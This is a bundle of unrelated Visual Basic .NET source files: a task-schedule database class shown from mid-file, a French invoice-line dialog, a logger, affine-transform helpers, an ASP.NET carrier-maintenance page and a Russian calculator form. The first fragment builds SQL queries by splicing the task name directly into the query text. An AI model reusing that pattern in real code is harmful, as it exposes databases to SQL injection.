_db.GetTable("SELECT * FROM " & TaskScheduleTable & " WHERE TaskName = '" & taskName & "'") d.Add("StartTime", dt(0)("StartTime").ToString) d.Add("EndTime", dt(0)("EndTime").ToString) If dt(0)("RunEveryNSeconds") > 0 Then d.Add("Recurring", "1") d.Add("Frequency", dt(0)("RunEveryNSeconds")) Else d.Add("Recurring", "0") End If Return d End function Public Function GetTasksInProgress As List(Of String) Dim l As New List(Of String) Dim dt = _db.GetTable(GetInProgressSql) If Not dt Is Nothing For each dr As DataRow In dt.Rows If Not IsDBNull(dr("inProg")) AndAlso dr("inProg") = "IN PROG" Then l.Add(dr("TaskName") & "," & dr("TimeStamp")) End If Next End If If l.Count > 0 Then Return l Return Nothing End Function Public Function GetConsecutiveFailures(byref taskname As string) As List(Of String) Dim l As New List(Of String) Dim dt = _db.GetTable(ConsecutiveFailuresSql.Replace("$$TASK$$", taskname)) Dim con As New List(Of Integer) If Not dt Is Nothing For i = 0 to dt.Rows.Count-2 If dt(i)("TaskSucceeded") = 0 andalso dt(i+1)("TaskSucceeded") = 0 Then For t = i To dt.Rows.Count - 1 If dt(t)("TaskSucceeded") = 0 then l.Add(dt(t)("TimeStamp")) Else Return l End If Next End If Next End If l.Add("No Data " & Now.ToString) Return l End Function Private ReadOnly _db As New Db End Class
Imports vini_DB Friend Class dlgLgFactColisage Inherits System.Windows.Forms.Form Private m_elementCourant As LgFactColisage Private m_TiersCourant As Tiers Private m_bModif As Boolean Friend WithEvents Label6 As System.Windows.Forms.Label Friend WithEvents tbMontantHT As vini_app.textBoxCurrency Friend WithEvents tbQte As vini_app.textBoxNumeric Friend WithEvents tbPrixUnitaire As vini_app.textBoxCurrency Friend WithEvents Label8 As System.Windows.Forms.Label Friend WithEvents Label7 As System.Windows.Forms.Label Friend WithEvents m_bsrcLgFactColisage As System.Windows.Forms.BindingSource Friend WithEvents btnRechercher As System.Windows.Forms.Button Friend WithEvents tbCodeProduit As System.Windows.Forms.TextBox Friend WithEvents Label1 As System.Windows.Forms.Label Friend WithEvents lblProduit As System.Windows.Forms.Label Friend WithEvents BindingSource1 As System.Windows.Forms.BindingSource Private m_bAffichageEncours As Boolean 'Modification ou Création de lignes #Region "Code généré par le Concepteur Windows Form " 'La méthode substituée Dispose du formulaire pour nettoyer la liste des composants. Protected Overloads Overrides Sub Dispose(ByVal Disposing As Boolean) If Disposing Then If Not components Is Nothing Then components.Dispose() End If End If MyBase.Dispose(Disposing) m_bModif = False End Sub 'Requis par le Concepteur Windows Form Private components As System.ComponentModel.IContainer 'REMARQUE : la procédure suivante est requise par le Concepteur Windows Form 'Il peut être modifié à l'aide du Concepteur Windows Form. 'Ne pas le modifier à l'aide de l'éditeur de code. Public WithEvents cbAnnuler As System.Windows.Forms.Button Public WithEvents cbValider As System.Windows.Forms.Button Friend WithEvents grpCMD As System.Windows.Forms.GroupBox <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent() Me.components = New System.ComponentModel.Container() Me.cbAnnuler = New System.Windows.Forms.Button() Me.cbValider = New System.Windows.Forms.Button() Me.grpCMD = New System.Windows.Forms.GroupBox() Me.btnRechercher = New System.Windows.Forms.Button() Me.tbCodeProduit = New System.Windows.Forms.TextBox() Me.Label1 = New System.Windows.Forms.Label() Me.tbMontantHT = New vini_app.textBoxCurrency() Me.m_bsrcLgFactColisage = New System.Windows.Forms.BindingSource(Me.components) Me.tbQte = New vini_app.textBoxNumeric() Me.tbPrixUnitaire = New vini_app.textBoxCurrency() Me.Label8 = New System.Windows.Forms.Label() Me.Label7 = New System.Windows.Forms.Label() Me.Label6 = New System.Windows.Forms.Label() Me.BindingSource1 = New System.Windows.Forms.BindingSource(Me.components) Me.lblProduit = New System.Windows.Forms.Label() Me.grpCMD.SuspendLayout() CType(Me.m_bsrcLgFactColisage, System.ComponentModel.ISupportInitialize).BeginInit() CType(Me.BindingSource1, System.ComponentModel.ISupportInitialize).BeginInit() Me.SuspendLayout() ' 'cbAnnuler ' Me.cbAnnuler.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.cbAnnuler.BackColor = System.Drawing.SystemColors.Control Me.cbAnnuler.Cursor = System.Windows.Forms.Cursors.Default Me.cbAnnuler.ForeColor = System.Drawing.SystemColors.ControlText Me.cbAnnuler.Location = New System.Drawing.Point(459, 164) Me.cbAnnuler.Name = "cbAnnuler" Me.cbAnnuler.RightToLeft = System.Windows.Forms.RightToLeft.No Me.cbAnnuler.Size = New System.Drawing.Size(81, 25) Me.cbAnnuler.TabIndex = 1 Me.cbAnnuler.Text = "&Annuler" Me.cbAnnuler.UseVisualStyleBackColor = False ' 'cbValider ' Me.cbValider.Anchor = CType((System.Windows.Forms.AnchorStyles.Bottom Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.cbValider.BackColor = System.Drawing.SystemColors.Control Me.cbValider.Cursor = System.Windows.Forms.Cursors.Default Me.cbValider.ForeColor = System.Drawing.SystemColors.ControlText Me.cbValider.Location = New System.Drawing.Point(357, 164) Me.cbValider.Name = "cbValider" Me.cbValider.RightToLeft = System.Windows.Forms.RightToLeft.No Me.cbValider.Size = New System.Drawing.Size(81, 25) Me.cbValider.TabIndex = 0 Me.cbValider.Text = "&Valider" Me.cbValider.UseVisualStyleBackColor = False ' 'grpCMD ' Me.grpCMD.Anchor = CType((((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Bottom) _ Or System.Windows.Forms.AnchorStyles.Left) _ Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.grpCMD.Controls.Add(Me.lblProduit) Me.grpCMD.Controls.Add(Me.btnRechercher) Me.grpCMD.Controls.Add(Me.tbCodeProduit) Me.grpCMD.Controls.Add(Me.Label1) Me.grpCMD.Controls.Add(Me.tbMontantHT) Me.grpCMD.Controls.Add(Me.tbQte) Me.grpCMD.Controls.Add(Me.tbPrixUnitaire) Me.grpCMD.Controls.Add(Me.Label8) Me.grpCMD.Controls.Add(Me.Label7) Me.grpCMD.Controls.Add(Me.Label6) Me.grpCMD.ForeColor = System.Drawing.SystemColors.ControlText Me.grpCMD.Location = New System.Drawing.Point(8, 12) Me.grpCMD.Name = "grpCMD" Me.grpCMD.Size = New System.Drawing.Size(343, 177) Me.grpCMD.TabIndex = 3 Me.grpCMD.TabStop = False ' 'btnRechercher ' Me.btnRechercher.Anchor = CType((System.Windows.Forms.AnchorStyles.Top Or System.Windows.Forms.AnchorStyles.Right), System.Windows.Forms.AnchorStyles) Me.btnRechercher.Location = New System.Drawing.Point(262, 11) Me.btnRechercher.Name = "btnRechercher" Me.btnRechercher.Size = New System.Drawing.Size(75, 23) Me.btnRechercher.TabIndex = 33 Me.btnRechercher.Text = "Rechercher" Me.btnRechercher.UseVisualStyleBackColor = True ' 'tbCodeProduit ' Me.tbCodeProduit.Location = New System.Drawing.Point(104, 11) Me.tbCodeProduit.Name = "tbCodeProduit" Me.tbCodeProduit.Size = New System.Drawing.Size(100, 20) Me.tbCodeProduit.TabIndex = 32 ' 'Label1 ' Me.Label1.AutoSize = True Me.Label1.Location = New System.Drawing.Point(11, 11) Me.Label1.Name = "Label1" Me.Label1.Size = New System.Drawing.Size(74, 13) Me.Label1.TabIndex = 31 Me.Label1.Text = "Code Produit :" ' 'tbMontantHT ' Me.tbMontantHT.DataBindings.Add(New System.Windows.Forms.Binding("Text", Me.m_bsrcLgFactColisage, "prixHT", True)) Me.tbMontantHT.Location = New System.Drawing.Point(104, 131) Me.tbMontantHT.Name = "tbMontantHT" Me.tbMontantHT.Size = New System.Drawing.Size(120, 20) Me.tbMontantHT.TabIndex = 7 Me.tbMontantHT.Text = "0" ' 'm_bsrcLgFactColisage ' Me.m_bsrcLgFactColisage.DataSource = GetType(vini_DB.LgFactColisage) ' 'tbQte ' Me.tbQte.DataBindings.Add(New System.Windows.Forms.Binding("Text", Me.m_bsrcLgFactColisage, "qteCommande", True)) Me.tbQte.Location = New System.Drawing.Point(104, 61) Me.tbQte.Name = "tbQte" Me.tbQte.Size = New System.Drawing.Size(120, 20) Me.tbQte.TabIndex = 5 Me.tbQte.Text = "0" ' 'tbPrixUnitaire ' Me.tbPrixUnitaire.DataBindings.Add(New System.Windows.Forms.Binding("Text", Me.m_bsrcLgFactColisage, "prixU", True)) Me.tbPrixUnitaire.Location = New System.Drawing.Point(104, 96) Me.tbPrixUnitaire.Name = "tbPrixUnitaire" Me.tbPrixUnitaire.Size = New System.Drawing.Size(120, 20) Me.tbPrixUnitaire.TabIndex = 6 Me.tbPrixUnitaire.Text = "0" ' 'Label8 ' Me.Label8.AutoSize = True Me.Label8.Location = New System.Drawing.Point(8, 134) Me.Label8.Name = "Label8" Me.Label8.Size = New System.Drawing.Size(70, 13) Me.Label8.TabIndex = 30 Me.Label8.Text = "Montant HT :" ' 'Label7 ' Me.Label7.AutoSize = True Me.Label7.Location = New System.Drawing.Point(7, 99) Me.Label7.Name = "Label7" Me.Label7.Size = New System.Drawing.Size(67, 13) Me.Label7.TabIndex = 28 Me.Label7.Text = "Prix unitaire :" ' 'Label6 ' Me.Label6.AutoSize = True Me.Label6.Location = New System.Drawing.Point(8, 64) Me.Label6.Name = "Label6" Me.Label6.Size = New System.Drawing.Size(73, 13) Me.Label6.TabIndex = 26 Me.Label6.Text = "Qte Colisage :" ' 'BindingSource1 ' Me.BindingSource1.DataSource = GetType(vini_DB.Produit) ' 'lblProduit ' Me.lblProduit.AutoSize = True Me.lblProduit.DataBindings.Add(New System.Windows.Forms.Binding("Text", Me.BindingSource1, "nom", True)) Me.lblProduit.Location = New System.Drawing.Point(104, 42) Me.lblProduit.Name = "lblProduit" Me.lblProduit.Size = New System.Drawing.Size(87, 13) Me.lblProduit.TabIndex = 34 Me.lblProduit.Text = "Libelle du produit" ' 'dlgLgFactColisage ' Me.AutoScaleBaseSize = New System.Drawing.Size(5, 13) Me.BackColor = System.Drawing.SystemColors.Control Me.ClientSize = New System.Drawing.Size(552, 201) Me.Controls.Add(Me.grpCMD) Me.Controls.Add(Me.cbAnnuler) Me.Controls.Add(Me.cbValider) Me.Cursor = System.Windows.Forms.Cursors.Default Me.ForeColor = System.Drawing.Color.Green Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog Me.Location = New System.Drawing.Point(184, 250) Me.MaximizeBox = False Me.MinimizeBox = False Me.Name = "dlgLgFactColisage" Me.RightToLeft = System.Windows.Forms.RightToLeft.No Me.ShowInTaskbar = False Me.StartPosition = System.Windows.Forms.FormStartPosition.Manual Me.Text = "Ligne de Colisage" Me.grpCMD.ResumeLayout(False) Me.grpCMD.PerformLayout() CType(Me.m_bsrcLgFactColisage, System.ComponentModel.ISupportInitialize).EndInit() CType(Me.BindingSource1, System.ComponentModel.ISupportInitialize).EndInit() Me.ResumeLayout(False) End Sub #End Region #Region "Accesseurs" Public Sub New() MyBase.New() 'Cet appel est requis par le Concepteur Windows Form. InitializeComponent() m_bModif = False End Sub 'Public Property bModif() As Boolean ' Get ' Return m_bModif ' End Get ' Set(ByVal Value As Boolean) ' m_bModif = Value ' End Set 'End Property Public Sub setElementCourant(ByRef p_objLG As LgFactColisage) Debug.Assert(Not p_objLG Is Nothing) m_bsrcLgFactColisage.Clear() m_bsrcLgFactColisage.Add(p_objLG) BindingSource1.Clear() BindingSource1.Add(p_objLG.oProduit) m_elementCourant = p_objLG End Sub 'set element Courant Public Function getElementCourant() As LgFactColisage Return m_elementCourant End Function #End Region #Region "Méthodes" 'Initialisation de l'élement Courant Private Sub MAJElement() Debug.Assert(Not m_elementCourant Is Nothing) Validate() End Sub 'MAJElement Private Sub CalcMontantHT() If (Not m_elementCourant Is Nothing) Then m_elementCourant.calculPrixTotal() m_bsrcLgFactColisage.ResetCurrentItem() End If End Sub #End Region #Region "Gestion des Evénements" Private Sub cbValider_Click(ByVal eventSender As System.Object, ByVal eventArgs As System.EventArgs) Handles cbValider.Click Me.DialogResult = Windows.Forms.DialogResult.OK MAJElement() Me.Close() End Sub Private Sub cbAnnuler_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cbAnnuler.Click Me.DialogResult = Windows.Forms.DialogResult.Cancel Me.Close() End Sub Private Sub dlgLgCommande_KeyPress(ByVal sender As Object, ByVal e As System.Windows.Forms.KeyPressEventArgs) Handles MyBase.KeyPress If e.KeyChar = Microsoft.VisualBasic.ChrW(27) Then Me.DialogResult = Windows.Forms.DialogResult.Cancel Me.Close() End If End Sub #End Region Private Sub tbQte_Validated(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tbQte.Validated CalcMontantHT() End Sub Private Sub tbPrixUnitaire_Validated(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tbPrixUnitaire.Validated CalcMontantHT() End Sub Private Sub rechercheProduit() Debug.Assert(Not m_elementCourant Is Nothing) Debug.Assert(Not m_TiersCourant Is Nothing) Dim colProduit As Collection Dim objProduit As Produit = Nothing Dim frm As frmRechercheDB Dim qte As Decimal = 0 Dim prixU As Decimal = 0 colProduit = Produit.getListe(vncTypeProduit.vncPlateforme, tbCodeProduit.Text) If colProduit.Count <> 1 Then 'Création de la fenêtre de recherche frm = New frmRechercheDB frm.setTypeDonnees(vncEnums.vncTypeDonnee.PRODUIT) frm.setListe(colProduit) frm.displayListe() 'Affichage de la fenêtre If frm.ShowDialog() = Windows.Forms.DialogResult.OK Then 'Si on sort par OK objProduit = frm.getElementSelectionne() End If Else objProduit = colProduit(1) End If If Not objProduit Is Nothing Then If objProduit.bResume Then objProduit.load() End If m_elementCourant.oProduit = objProduit BindingSource1.Clear() BindingSource1.Add(objProduit) End If End Sub 'RechercheProduit Private Sub Button1_Click(sender As Object, e As EventArgs) Handles btnRechercher.Click rechercheProduit() End Sub End Class
Namespace Logging Public Enum Level Critical Exception Warning Information Debug End Enum Public Class Logger Private Shared ReadOnly _queue_mutex As New Threading.Mutex Private Shared ReadOnly _message_queue As New List(Of Entry) Private Shared ReadOnly _devices As New List(Of Device) Private Shared ReadOnly _runtime As New Threading.Thread(AddressOf _loop) Private Shared _is_exit As Boolean = False Public Shared Sub AddDevice(device As Device) If Not _devices.Contains(device) Then _devices.Add(device) End Sub Private Shared Sub _exit() _is_exit = True End Sub Shared Sub New() _runtime.Start() AddHandler AppDomain.CurrentDomain.ProcessExit, AddressOf _exit End Sub Public Shared Property Verbosity As Level = Level.Warning Public Shared Sub Critical(message As String) _queue_message(Level.Critical, message) End Sub Public Shared Sub Exception(message As String) _queue_message(Level.Exception, message) End Sub Public Shared Sub Warning(message As String) _queue_message(Level.Warning, message) End Sub Public Shared Sub Information(message As String) _queue_message(Level.Information, message) End Sub Public Shared Sub Debug(message As String) _queue_message(Level.Debug, message) End Sub Private Shared Sub _loop() Try While Not _is_exit If _message_queue.Count > 0 Then _queue_mutex.WaitOne() Dim entry As Entry = _message_queue.OrderBy(Function(e) e.TimeStamp).First _message_queue.Remove(entry) _queue_mutex.ReleaseMutex() For Each d As Device In _devices d.AddEntry(entry) Next Else Threading.Thread.Sleep(1) End If End While Catch thex As Threading.ThreadAbortException AwaitQueueDrained() End Try End Sub Public Shared Sub AwaitQueueDrained() _queue_mutex.WaitOne() For Each ent As Entry In _message_queue.OrderBy(Function(e) e.TimeStamp) For Each d As Device In _devices d.AddEntry(ent) Next Next _queue_mutex.ReleaseMutex() End Sub Private Shared Sub _queue_message(level As Level, message As String) If level <= Verbosity Then _queue_mutex.WaitOne() _message_queue.Add(New Entry(level, message)) _queue_mutex.ReleaseMutex() End If End Sub End Class End Namespace
Imports System.Runtime.CompilerServices ''' <summary> ''' The implementors can be applied affine transformations to. ''' </summary> ''' <remarks> ''' Note to implementors: ''' You can choose either to transform the object itself, in which case the funcion must return a reference ''' to self, or create and return a new transformed object. ''' ''' Note to clients: ''' It cannot be assumed that the functions transform the object itself, so the next code can fail ''' if the real class use the "copy" semantics: ''' <code> ''' Class MyPoint ''' Implements IAffineTransformation ''' ''' ' ...implementation of a 2D point ''' ''' End Class ''' ''' Dim p As MyPoint(2, 15) ''' p.Scale(2) ''' Debug.Assert(p.X = 4) ''' </code> ''' Instead it would be better to use the function result: ''' <code> ''' Dim p As MyPoint(2, 15) ''' p = p.Scale(2) ''' Debug.Assert(p.X = 4) ''' </code> ''' ''' </remarks> Public Interface IAffineTransformable Function Scale(ByVal factorX As Double, ByVal factorY As Double) As IAffineTransformable Function Translate(ByVal x As Double, ByVal y As Double) As IAffineTransformable Function Rotate(ByVal angle As Double) As IAffineTransformable End Interface Public Module IAffineTranformableExtensions ''' <summary> ''' Scale function that return the same type. ''' </summary> ''' <typeparam name="T"></typeparam> ''' <param name="tf"></param> ''' <param name="factorX"></param> ''' <param name="factorY"></param> ''' <returns></returns> ''' <remarks></remarks> <Extension()> Function ScaleT(Of T As IAffineTransformable)(ByVal tf As T, ByVal factorX As Double, ByVal factorY As Double) As T Return DirectCast(tf.Scale(factorX, factorY), T) End Function ''' <summary> ''' Translate function that return the same type. ''' </summary> ''' <typeparam name="T"></typeparam> ''' <param name="tf"></param> ''' <param name="x"></param> ''' <param name="y"></param> ''' <returns></returns> ''' <remarks></remarks> <Extension()> Function TranslateT(Of T As IAffineTransformable)(ByVal tf As T, ByVal x As Double, ByVal y As Double) As T Return DirectCast(tf.Translate(x, y), T) End Function ''' <summary> ''' Rotate function that return the same type. ''' </summary> ''' <typeparam name="T"></typeparam> ''' <param name="tf"></param> ''' <param name="angle"></param> ''' <returns></returns> ''' <remarks></remarks> <Extension()> Function RotateT(Of T As IAffineTransformable)(ByVal tf As T, ByVal angle As Double) As T Return DirectCast(tf.Rotate(angle), T) End Function ''' <summary> ''' Proportional scaling that return the same type. ''' </summary> ''' <typeparam name="T"></typeparam> ''' <param name="tf"></param> ''' <param name="factor"></param> ''' <returns></returns> ''' <remarks></remarks> <Extension()> Public Function EscalarP(Of T As IAffineTransformable)(ByVal tf As T, ByVal factor As Double) As T Return DirectCast(tf.Scale(factor, factor), T) End Function ''' <summary> ''' Scaling respect to a center ''' </summary> ''' <typeparam name="T"></typeparam> ''' <param name="tf"></param> ''' <param name="factor"></param> ''' <returns></returns> ''' <remarks></remarks> <Extension()> Public Function EscalarC(Of T As IAffineTransformable)(ByVal tf As T, ByVal factor As Double, ByVal x As Double, ByVal y As Double) As T Return DirectCast(tf.Translate(-x, -y).EscalarP(factor).Translate(x, y), T) End Function ''' <summary> ''' Rotate respect to a center ''' </summary> ''' <typeparam name="T"></typeparam> ''' <param name="tf"></param> ''' <param name="angle"></param> ''' <param name="x"></param> ''' <param name="y"></param> ''' <returns></returns> ''' <remarks></remarks> <Extension()> Public Function RotarC(Of T As IAffineTransformable)(ByVal tf As T, ByVal angle As Double, ByVal x As Double, ByVal y As Double) As T Return DirectCast(tf.Translate(-x, -y).Rotate(angle).Translate(x, y), T) End Function ''' <summary> ''' Rotate respect to a center ''' </summary> ''' <typeparam name="T"></typeparam> ''' <param name="tf"></param> ''' <param name="angle"></param> ''' <param name="p"></param> ''' <returns></returns> ''' <remarks></remarks> <Extension()> Public Function RotarC(Of T As IAffineTransformable)(ByVal tf As T, ByVal angle As Double, ByVal p As GPoint) As T Return DirectCast(tf.RotarC(angle, p.X, p.Y), T) End Function ''' <summary> ''' Polar translation (magnitude + angle) ''' </summary> ''' <typeparam name="T"></typeparam> ''' <param name="tf"></param> ''' <param name="angle"></param> ''' <param name="magnitude"></param> ''' <returns></returns> ''' <remarks></remarks> <Extension()> Public Function TrasladarPolar(Of T As IAffineTransformable)(ByVal tf As T, ByVal angle As Double, ByVal magnitude As Double) As T Return DirectCast(tf.Translate(magnitude * Math.Cos(angle), magnitude * Math.Sin(angle)), T) End Function End Module
Imports Talent.Common Imports System.Data Partial Class Delivery_CarrierMaintenance Inherits PageControlBase #Region "Class Level Fields" Private _wfrPage As New WebFormResource Private _languageCode As String = String.Empty #End Region #Region "Constants" Const PAGECODE As String = "CarrierMaintenance.aspx" #End Region #Region "Public Properties" Public CarrierCodeHeaderText As String Public InstallationAvailableHeaderText As String Public CollectOldAvailableHeaderText As String Public DeliverMondayHeaderText As String Public DeliverTuesdayHeaderText As String Public DeliverWednesdayHeaderText As String Public DeliverThursdayHeaderText As String Public DeliverFridayHeaderText As String Public DeliverSaturdayHeaderText As String Public DeliverSundayHeaderText As String Public SaveButtonText As String Public DeleteButtonText As String #End Region #Region "Proteceted Methods" Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load With _wfrPage .BusinessUnit = GlobalConstants.MAINTENANCEBUSINESSUNIT .PartnerCode = GlobalConstants.STARALLPARTNER .PageCode = PAGECODE .KeyCode = PAGECODE .FrontEndConnectionString = ConfigurationManager.ConnectionStrings("TalentEBusinessDBConnectionString").ToString End With _languageCode = Talent.Common.Utilities.GetDefaultLanguage() plhErrorMessage.Visible = False setPageText() If Not IsPostBack Then bindRepeater(False) End Sub Protected Sub rptCarrier_ItemCommand(ByVal source As Object, ByVal e As System.Web.UI.WebControls.RepeaterCommandEventArgs) Handles rptCarrier.ItemCommand plhErrorMessage.Visible = True If e.CommandName = "Save" Then Dim txtCarrierCode As TextBox = CType(e.Item.FindControl("txtCarrierCode"), TextBox) If String.IsNullOrEmpty(txtCarrierCode.Text.Trim) Then ltlErrorMessage.Text = _wfrPage.Content("CarrierCodeRequired", _languageCode, True) bindRepeater(False) Else Dim chkInstallationAvailable As CheckBox = CType(e.Item.FindControl("chkInstallationAvailable"), CheckBox) Dim chkCollectOldAvailable As CheckBox = CType(e.Item.FindControl("chkCollectOldAvailable"), CheckBox) Dim chkDeliverMonday As CheckBox = CType(e.Item.FindControl("chkDeliverMonday"), CheckBox) Dim chkDeliverTuesday As CheckBox = CType(e.Item.FindControl("chkDeliverTuesday"), CheckBox) Dim chkDeliverWednesday As CheckBox = CType(e.Item.FindControl("chkDeliverWednesday"), CheckBox) Dim chkDeliverThursday As CheckBox = CType(e.Item.FindControl("chkDeliverThursday"), CheckBox) Dim chkDeliverFriday As CheckBox = CType(e.Item.FindControl("chkDeliverFriday"), CheckBox) Dim chkDeliverSaturday As CheckBox = CType(e.Item.FindControl("chkDeliverSaturday"), CheckBox) Dim chkDeliverSunday As CheckBox = CType(e.Item.FindControl("chkDeliverSunday"), CheckBox) Dim carrierId As Integer = CInt(e.CommandArgument) Dim rowsAffected As Integer = 0 rowsAffected = TDataObjects.DeliverySettings.TblCarrier.UpdateCarrierRecordById(carrierId, txtCarrierCode.Text, _ chkInstallationAvailable.Checked, chkCollectOldAvailable.Checked, chkDeliverMonday.Checked, _ chkDeliverTuesday.Checked, chkDeliverWednesday.Checked, chkDeliverThursday.Checked, _ chkDeliverFriday.Checked, chkDeliverSaturday.Checked, chkDeliverSunday.Checked) If rowsAffected > 0 Then ltlErrorMessage.Text = _wfrPage.Content("CarrierCodeUpdated", _languageCode, True) bindRepeater(False) Else ltlErrorMessage.Text = _wfrPage.Content("CarrierCodeNotUpdated", _languageCode, True) End If End If ElseIf e.CommandName = "Delete" Then Dim carrierId As Integer = CInt(e.CommandArgument) Dim rowsAffected As Integer = 0 rowsAffected = TDataObjects.DeliverySettings.TblCarrier.Delete(carrierId) If rowsAffected > 0 Then ltlErrorMessage.Text = _wfrPage.Content("CarrierCodeDeleted", _languageCode, True) bindRepeater(False) Else ltlErrorMessage.Text = _wfrPage.Content("CarrierCodeNotDeleted", _languageCode, True) End If End If End Sub Protected Sub btnAddCarrier_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles btnAddCarrier.Click plhErrorMessage.Visible = True If String.IsNullOrEmpty(txtAddCarrierCode.Text.Trim) Then ltlErrorMessage.Text = _wfrPage.Content("CarrierCodeRequired", _languageCode, True) Else Dim rowsAffected As Integer = 0 rowsAffected = TDataObjects.DeliverySettings.TblCarrier.AddNewCarrierRecord(txtAddCarrierCode.Text, chkAddInstallationAvailable.Checked, _ chkAddCollectOldAvailable.Checked, chkAddDeliverMonday.Checked, chkAddDeliverTuesday.Checked, chkAddDeliverWednesday.Checked, _ chkAddDeliverThursday.Checked, chkAddDeliverFriday.Checked, chkAddDeliverSaturday.Checked, chkAddDeliverSunday.Checked) If rowsAffected > 0 Then ltlErrorMessage.Text = _wfrPage.Content("CarrierCodeAdded", _languageCode, True) bindRepeater(False) txtAddCarrierCode.Text = String.Empty chkAddInstallationAvailable.Checked = False chkAddCollectOldAvailable.Checked = False chkAddDeliverMonday.Checked = False chkAddDeliverTuesday.Checked = False chkAddDeliverWednesday.Checked = False chkAddDeliverThursday.Checked = False chkAddDeliverFriday.Checked = False chkAddDeliverSaturday.Checked = False chkAddDeliverSunday.Checked = False Else ltlErrorMessage.Text = _wfrPage.Content("CarrierCodeNotAdded", _languageCode, True) End If End If End Sub #End Region #Region "Private Methods" ''' <summary> ''' Set the text properties of the asp.net objects ''' </summary> ''' <remarks></remarks> Private Sub setPageText() ltlPageTitle.Text = _wfrPage.Content("PageTitleText", _languageCode, True) ltlPageInstructions.Text = _wfrPage.Content("PageInstructionsText", _languageCode, True) CarrierCodeHeaderText = _wfrPage.Content("CarrierCodeHeaderText", _languageCode, True) InstallationAvailableHeaderText = _wfrPage.Content("InstallationAvailableHeaderText", _languageCode, True) CollectOldAvailableHeaderText = _wfrPage.Content("CollectOldAvailableHeaderText", _languageCode, True) DeliverMondayHeaderText = _wfrPage.Content("DeliverMondayHeaderText", _languageCode, True) DeliverTuesdayHeaderText = _wfrPage.Content("DeliverTuesdayHeaderText", _languageCode, True) DeliverWednesdayHeaderText = _wfrPage.Content("DeliverWednesdayHeaderText", _languageCode, True) DeliverThursdayHeaderText = _wfrPage.Content("DeliverThursdayHeaderText", _languageCode, True) DeliverFridayHeaderText = _wfrPage.Content("DeliverFridayHeaderText", _languageCode, True) DeliverSaturdayHeaderText = _wfrPage.Content("DeliverSaturdayHeaderText", _languageCode, True) DeliverSundayHeaderText = _wfrPage.Content("DeliverSundayHeaderText", _languageCode, True) SaveButtonText = _wfrPage.Content("SaveButtonText", _languageCode, True) DeleteButtonText = _wfrPage.Content("DeleteButtonText", _languageCode, True) ltlAddCarrierLegend.Text = _wfrPage.Content("AddCarrierLegend", _languageCode, True) lblAddCarrierCode.Text = CarrierCodeHeaderText lblAddInstallationAvailable.Text = InstallationAvailableHeaderText lblAddCollectOldAvailable.Text = CollectOldAvailableHeaderText lblAddDeliverMonday.Text = DeliverMondayHeaderText lblAddDeliverTuesday.Text = DeliverTuesdayHeaderText lblAddDeliverWednesday.Text = DeliverWednesdayHeaderText lblAddDeliverThursday.Text = DeliverThursdayHeaderText lblAddDeliverFriday.Text = DeliverFridayHeaderText lblAddDeliverSaturday.Text = DeliverSaturdayHeaderText lblAddDeliverSunday.Text = DeliverSundayHeaderText btnAddCarrier.Text = _wfrPage.Content("AddCarrierButtonText", _languageCode, True) End Sub ''' <summary> ''' Bind the carrier repeater list from the database records ''' </summary> ''' <param name="fromCache">Get the records from the cache or from database table</param> ''' <remarks></remarks> Private Sub bindRepeater(ByVal fromCache As Boolean) Dim dtCarrier As New DataTable dtCarrier = TDataObjects.DeliverySettings.TblCarrier.GetAll(fromCache) If dtCarrier IsNot Nothing AndAlso dtCarrier.Rows.Count > 0 Then plhNoCarriers.Visible = False rptCarrier.Visible = True rptCarrier.DataSource = dtCarrier rptCarrier.DataBind() Else plhNoCarriers.Visible = True ltlNoCarriers.Text = _wfrPage.Content("NoCarriers", _languageCode, True) rptCarrier.Visible = False End If End Sub #End Region End Class
Public Class Form1 'секция объявления переменных Dim number1, number2, result As Double 'создаем перечисление математических операций Enum Operators Summ Subtraction Division Multiplication End Enum 'при загрузке формы прячем кнопки Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load Button2.Visible = False Button3.Visible = False Button4.Visible = False Button5.Visible = False End Sub 'по нажатию на кнопку заносим значения из текстбоксов в переменные, при этом пытаемся преобразовать их из типа String в тип Double Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click Try Try number1 = Double.Parse(TextBox1.Text) Catch ex As FormatException MsgBox("Enter correct value number1") Throw ex End Try Try number2 = Double.Parse(TextBox2.Text) Catch ex As FormatException MsgBox("Enter correct value number2") Throw ex End Try Catch ex As Exception Return End Try Button2.Visible = True Button3.Visible = True Button4.Visible = True Button5.Visible = True End Sub 'создаем функцию расчета Private Function GetResult(param As Operators) Select Case param Case Operators.Summ result = number1 + number2 Case Operators.Subtraction result = number1 - number2 Case Operators.Division result = number1 / number2 Case Operators.Multiplication result = number1 * number2 End Select Return result End Function 'создаем процедуру вывода результата Private Sub ShowResult() TextBox3.Text = result.ToString End Sub Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click 'вызываем функцию расчета, при этом передаем ей в качествае параметра первый пункт из перечисления Operators.Summ GetResult(Operators.Summ) 'вызываем процедуру вывода результата ShowResult() End Sub Private Sub Button3_Click(sender As Object, e As EventArgs) Handles Button3.Click GetResult(Operators.Subtraction) ShowResult() End Sub Private Sub Button4_Click(sender As Object, e As EventArgs) Handles Button4.Click GetResult(Operators.Multiplication) ShowResult() End Sub Private Sub Button5_Click(sender As Object, e As EventArgs) Handles Button5.Click GetResult(Operators.Division) ShowResult() End Sub End Class
